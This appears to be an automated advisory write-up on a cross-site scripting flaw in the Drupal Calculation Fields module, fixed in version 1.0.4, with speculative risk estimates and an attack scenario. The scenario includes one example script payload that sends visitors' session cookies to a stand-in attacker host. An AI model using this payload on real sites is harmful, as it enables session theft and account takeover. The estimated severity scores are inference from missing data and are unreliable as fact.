Calculation Fields EUVD-2026-16381

While a CVSS score and vector are not provided in the intelligence data, the CWE-79 classification and vulnerability type indicate this is a network-accessible XSS vulnerability typical of Drupal module flaws, which often have CVSS scores in the 6.0-7.5 range (medium to high severity depending on stored vs. reflected context and authentication requirements). The absence of EPSS probability scores and KEV status listing prevents quantitative exploitation forecasting; however, Drupal-specific vulnerabilities have historically seen moderate exploitation rates once proof-of-concept code circulates. The real-world risk depends on: (1) whether the XSS is stored (persistent, higher impact) or reflected (requires social engineering); (2) Drupal site exposure and user privileges; and (3) deployment of the Calculation Fields module in production environments. Given the specific vendor advisory reference and documented fix version (1.0.4), this appears to be a confirmed and patched vulnerability with lower current risk to actively maintained sites, but residual risk remains high for unpatched legacy deployments. Authentication requirements are not confirmed from available data.

An attacker crafts a malicious input containing JavaScript payload (e.g., <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) and submits it through a form field or API endpoint that feeds into a Calculation Fields calculation. When the calculated value is rendered on a page view-such as in a node display or report-the unescaped payload executes in the browser of any user visiting that page, silently exfiltrating their session cookie or redirecting them to a phishing site. If the calculation field accepts stored user input (rather than only dynamic calculations), the payload persists and affects all subsequent viewers, creating a widespread stored XSS vulnerability. No public exploit code has been identified at time of analysis, reducing immediate practical risk.